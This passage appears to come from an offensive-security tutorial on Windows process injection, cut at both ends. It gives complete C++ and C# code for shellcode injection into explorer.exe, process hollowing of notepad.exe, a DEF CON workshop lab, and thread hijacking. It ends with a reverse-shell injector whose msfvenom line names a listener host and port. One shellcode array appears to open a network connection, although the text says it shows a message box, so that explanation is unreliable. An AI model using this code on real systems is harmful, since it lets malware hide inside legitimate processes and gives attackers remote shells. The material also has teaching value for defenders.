        std::cout << "Shellcode injected successfully!" << std::endl;
    } else {
        std::cout << "Notepad process not found." << std::endl;
        return 1;
    }

    return 0;
}

Please note that this example assumes that the “notepad.exe” process is already running and has an untitled notepad window open. If you’re testing this on your system, make sure to open Notepad and keep it untitled before running the code.

The provided shellcode in this example displays a message box with the title “notepad” and the message “cmd.exe”. You can modify the shellcode to execute different actions or payloads based on your requirements.

C# example

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Inject
{
    class Program
    {
        // Import necessary functions from kernel32.dll

        // Opens an existing local process object
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        // Reserves or commits a region of memory within the virtual address space of a specified process
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        // Writes data to an area of memory in a specified process
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        // Creates a thread that runs in the virtual address space of another process
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        static void Main(string[] args)
        {
	// Automatically obtain process ID
            Process[] localByName = Process.GetProcessesByName("explorer");
            if (localByName.Length == 0)
            {
                Console.WriteLine("No explorer process found.");
                return;
            }

            int targetProcessId = localByName[0].Id;

            // Obtain a handle to the target process
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);

            // Allocate memory in the target process's address space
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            // Define the shellcode bytes to inject
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x48,0x8b,
0x52,0x20,0x56,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,
0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,
0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x11,0x5c,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,
0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,
0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,
0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,
0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,
0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,
0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,
0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,
0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,
0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,
0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,
0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,
0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};


            // Write the shellcode to the allocated memory in the target process
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            // Create a remote thread in the target process to execute the shellcode
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Process Hollowing

This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE (Portable Executable) data and sections into the process.

The code below performs the following steps:

  1. It creates a new process (in this case, Notepad) in a suspended state.
  2. It opens a malicious executable file.
  3. It reads the headers of the malicious file to understand its structure.
  4. It unmaps the legitimate code from the process memory.
  5. It maps sections of the malicious file into the process memory.
  6. It sets the entry point of the process to the malicious code.
  7. Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process.

Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities.

#include <windows.h>
#include <iostream>

// Function to read the headers of the malicious image
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) {
    // Read the DOS header
    IMAGE_DOS_HEADER dosHeader;
    DWORD bytesRead;
    if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER))
        return false;

    // Verify the DOS signature
    if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        return false;

    // Allocate memory for the DOS header and copy the data
    *ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
    if (*ppDosHeader == NULL)
        return false;
    memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER));

    // Move the file pointer to the NT headers
    if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
        return false;

    // Read the NT headers
    IMAGE_NT_HEADERS ntHeaders;
    if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS))
        return false;

    // Verify the NT signature
    if (ntHeaders.Signature != IMAGE_NT_SIGNATURE)
        return false;

    // Allocate memory for the NT headers and copy the data
    *ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS));
    if (*ppNtHeaders == NULL)
        return false;
    memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS));

    return true;
}

// Function to un-map legitimate code from process memory
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
    // Calculate the base address of the image
    LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;

    // Unmap the image from process memory
    if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE))
        return false;

    return true;
}

// Function to map sections of the malicious image into process memory
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) {
    // Calculate the base address of the image
    LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;

    // Iterate over each section in the image
    IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
    for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        // Calculate the section virtual address and size
        LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress);
        SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize;

        // Allocate memory for the section in the target process
        LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (remoteMemory == NULL)
            return false;

        // Read the section data from the file
        DWORD bytesRead;
        if (!ReadFile(hFile, remoteMemory, sectionSize, &bytesRead, NULL) || bytesRead != sectionSize)
            return false;
    }

    return true;
}

// Function to set the entry point for the malicious code
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
    // Calculate the base address of the image
    LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;

    // Calculate the entry point address
    LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

    // Update the thread context to set the new entry point
    CONTEXT context;
    context.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hProcess, &context);
    context.Eip = (DWORD)entryPoint;
    SetThreadContext(hProcess, &context);
}

int main() {
    // Step 1: Create a target process in a suspended state
    STARTUPINFOA startupInfo = { sizeof(startupInfo) };
    PROCESS_INFORMATION processInfo;
    if (!CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo)) {
        std::cout << "Failed to create target process." << std::endl;
        return 1;
    }

    // Step 2: Open the malicious image file
    HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        std::cout << "Failed to open malicious image." << std::endl;
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }

    // Step 3: Read the headers of the malicious image
    PIMAGE_DOS_HEADER pDosHeader = NULL;
    PIMAGE_NT_HEADERS pNtHeaders = NULL;
    if (!ReadImageHeaders(hFile, &pDosHeader, &pNtHeaders)) {
        std::cout << "Failed to read image headers." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }

    // Step 4: Unmap legitimate code from process memory
    if (!UnmapImage(processInfo.hProcess, pNtHeaders)) {
        std::cout << "Failed to un-map legitimate code from process memory." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }

    // Step 5: Map sections of the malicious image into process memory
    if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) {
        std::cout << "Failed to map malicious sections into process memory." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }

    // Step 6: Set the entry point for the malicious code
    SetEntryPoint(processInfo.hProcess, pNtHeaders);

    // Resume the target process to execute the malicious code
    if (ResumeThread(processInfo.hThread) == -1) {
        std::cout << "Failed to resume the target process." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }

    std::cout << "Process hollowing completed successfully!" << std::endl;

    // Cleanup
    CloseHandle(hFile);
    CloseHandle(processInfo.hThread);
    CloseHandle(processInfo.hProcess);

C# process hollowing from defcon27

See “Defcon – Writing custom backdoor payloads with C#” above for more info.

defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub

Lab 1 – Starting and suspending a process

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

public class Program
{
    // P/Invoke declarations for kernel32.dll functions

    // Opens an existing thread object
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

    // Suspends the execution of a thread
    [DllImport("kernel32.dll")]
    static extern uint SuspendThread(IntPtr hThread);

    // Resumes the execution of a thread
    [DllImport("kernel32.dll")]
    static extern int ResumeThread(IntPtr hThread);

    // Constant value for thread access rights
    private static UInt32 SUSPEND_RESUME = 0x0002;

    public static void Main()
    {
        // Specify the process to start
        string proc = "msiexec.exe";
        
        // Start the specified process
        Process newproc = Process.Start(proc);

        Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id);
        Console.WriteLine("Press any key to suspend the process ...");
        Console.ReadKey();

        Console.WriteLine("Suspending process...");
        
        // Iterate over each thread in the process
        foreach (ProcessThread thread in newproc.Threads)
        {
            // Open the thread to get a handle
            IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            
            // If the thread handle is invalid, break the loop
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            
            // Suspend the thread's execution
            SuspendThread(pOpenThread);
        }
        Console.WriteLine("Suspended!");

        Console.WriteLine("Press any key to resume the process ...");
        Console.ReadKey();

        Console.WriteLine("Resuming process...");

        // Iterate over each thread in the process again
        foreach (ProcessThread thread in newproc.Threads)
        {
            // Open the thread to get a handle
            IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);

            // If the thread handle is invalid, break the loop
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }

            // Resume the thread's execution
            ResumeThread(pOpenThread);
        }
        Console.WriteLine("Resumed!");
    }
}

Lab 2 – Getting a shell

using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;

public class Program
{
    // Constants for process access flags
    const int PROCESS_CREATE_THREAD = 0x0002;
    const int PROCESS_QUERY_INFORMATION = 0x0400;
    const int PROCESS_VM_OPERATION = 0x0008;
    const int PROCESS_VM_WRITE = 0x0020;
    const int PROCESS_VM_READ = 0x0010;

    // Importing necessary functions from kernel32.dll and ntdll.dll
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

    [DllImport("kernel32.dll")]
    static extern uint SuspendThread(IntPtr hThread);

    [DllImport("kernel32.dll")]
    static extern int ResumeThread(IntPtr hThread);

    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

    // Constants for memory allocation and protection
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    private static UInt32 SUSPEND_RESUME = 0x0002;

    public static void Main()
    {
        // Shellcode generated using msfvenom
        byte[] shellcode = new byte[193] {
            0xfc,0xe8,0x82,0x00,0x00,0x00, 0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
            0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
            0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,
            0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,
            0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
            0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,
            0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
            0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
            0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
        };

        string proc = "userinit.exe";

        // Start the target process
        Process newproc;
        newproc = Process.Start(proc);
        Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
        Console.WriteLine("Suspending process...");

        // Suspend all threads in the process
        foreach (ProcessThread thread in newproc.Threads)
        {
            IntPtr pOpenThread;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            SuspendThread(pOpenThread);
        }
        Console.WriteLine("Suspended!");

        // Open the target process
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);

        // Allocate memory in the target process
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Console.WriteLine("Allocating memory");

        // Write the shellcode into the allocated memory
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
        Console.WriteLine("Copied shellcode in memory");

        // Create a remote thread in the target process to execute the shellcode
        IntPtr pinfo = IntPtr.Zero;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
        Console.WriteLine("Created remote thread");
        Console.WriteLine("Resuming process...");

        // Resume all threads in the process
        foreach (ProcessThread thread in newproc.Threads)
        {
            IntPtr pOpenThread;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            ResumeThread(pOpenThread);
        }
        Console.WriteLine("Resumed!");
    }
}

In this code, the following external libraries are used:
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes.
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code.

The code performs the following actions:

1. Defines constants for process access rights:
   - `PROCESS_CREATE_THREAD`: Required to create a thread.
   - `PROCESS_QUERY_INFORMATION`: Required to retrieve information about the process.
   - `PROCESS_VM_OPERATION`: Required to perform virtual memory operations.
   - `PROCESS_VM_WRITE`: Required to write to the process's memory.
   - `PROCESS_VM_READ`: Required to read from the process's memory.

2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads:
   - `OpenThread`: Opens an existing thread object for access.
   - `SuspendThread`: Suspends the execution of a thread.
   - `ResumeThread`: Resumes the execution of a thread.
   - `NtUnmapViewOfSection`: Unmaps a view of a section from the virtual address space of a target process.
   - `OpenProcess`: Opens an existing local process object for access.
   - `VirtualAllocEx`: Reserves or commits a region of memory within the virtual address space of a target process.
   - `CreateRemoteThread`: Creates a thread that runs in the virtual address space of another process.
   - `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses.
   - `WriteProcessMemory`: Writes data to an area of memory in a specified process.

3. Defines constants for memory allocation and protection:
   - `MEM_COMMIT`: Allocates memory and initializes it with zeroes.
   - `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory.
   - `SUSPEND_RESUME`: Access rights required to suspend/resume a thread.

4. Defines the `Main` method, which is the entry point of the program.

5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program.

6. Sets the target process name to "userinit.exe".

7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name.

8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread.

9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations.

10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`.

11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`.

12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode.

13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread.

The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`.

Thread (execution) hijacking

Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions.

In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions.

At a high-level thread (execution) hijacking can be broken up into eleven steps:

  1. Locate and open a target process to control.
  2. Allocate memory region for malicious code.
  3. Write malicious code to allocated memory.
  4. Identify the thread ID of the target thread to hijack.
  5. Open the target thread.
  6. Suspend the target thread.
  7. Obtain the thread context.
  8. Update the instruction pointer to the malicious code.
  9. Rewrite the target thread context.
  10. Resume the hijacked thread.

  1. Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like OpenProcess in C# or OpenProcess in C++.
IntPtr hProcess = OpenProcess(
    ProcessAccessFlags.All, // Requests all possible access rights
    false, // Child processes do not inherit parent process handle
    processId // The ID of the target process
);

2. Allocating memory: Once you’re inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process’s memory using functions like VirtualAllocEx in C# or VirtualAllocEx in C++.

IntPtr remoteBuffer = VirtualAllocEx(
    hProcess, // Opened target process
    IntPtr.Zero,
    shellcode.Length, // Size of memory allocation
    AllocationType.Commit | AllocationType.Reserve, // Reserves and commits memory
    MemoryProtection.ExecuteReadWrite // Enables execution and read/write access
);

3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like WriteProcessMemory in C# or WriteProcessMemory in C++.

WriteProcessMemory(
    hProcess, // Opened target process
    remoteBuffer, // Allocated memory region
    shellcode, // Data to write
    shellcode.Length, // Size of data in bytes
    out _ // Ignored in this example
);

4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like CreateToolhelp32Snapshot, Thread32First, and Thread32Next in C# or C++.

THREADENTRY32 threadEntry = new THREADENTRY32();

IntPtr hSnapshot = CreateToolhelp32Snapshot(
    SnapshotFlags.Thread, // Snapshot of all threads
    processId // ID of the target process
);

Thread32First(
    hSnapshot,
    ref threadEntry
);

while (Thread32Next(
    hSnapshot,
    ref threadEntry
)) {
    // Check if the thread belongs to the target process
    if (threadEntry.th32OwnerProcessID == processId) {
        IntPtr hThread = OpenThread(
            ThreadAccessFlags.All, // Requests all possible access rights
            false, // Child threads do not inherit parent thread handle
            threadEntry.th32ThreadID // ID of the target thread
        );
        break;
    }
}

5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like OpenThread in C# or C++.

IntPtr hThread = OpenThread(
    ThreadAccessFlags.All, // Requests all possible access rights
    false, // Child threads do not inherit parent thread handle
    threadEntry.th32ThreadID // ID of the target thread
);

6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like SuspendThread in C# or C++.

SuspendThread(hThread);

7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like GetThreadContext in C# or C++.

CONTEXT context = new CONTEXT();
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;

GetThreadContext(
    hThread,
    ref context
);

8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code.

Note that context.Rip is for x86_64 process architecture. While context.Eip is for 32-bit x86 process architecutre.

context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code

9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like SetThreadContext in C# or C++.

SetThreadContext(
    hThread,
    ref context
);

10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like ResumeThread in C# or C++.

ResumeThread(hThread);

csharp example

The code below will inject a reverse shell into taskmgr with PID 1688.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    // Native WinAPI functions
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CloseHandle(IntPtr hObject);

    const int PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RELEASE = 0x8000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;

    static void Main(string[] args)
    {
        // Obtain the target process (replace with the appropriate process ID)
        Process targetProcess = Process.GetProcessById(1688);

        // Open a handle to the target process
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id);

        // Allocate memory within the target process
        IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        // Write the shellcode to be injected into the allocated memory
        int bytesWritten;
        WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten);

        // Create a remote thread in the target process that starts executing the injected shellcode
        IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero);

        // Wait for the remote thread to finish
        WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);

        // Cleanup
        CloseHandle(hRemoteThread);

        // Use Marshal to invoke VirtualFreeEx
        Marshal.FreeHGlobal(pRemoteCode);

        CloseHandle(hProcess);
    }

// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp

    static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
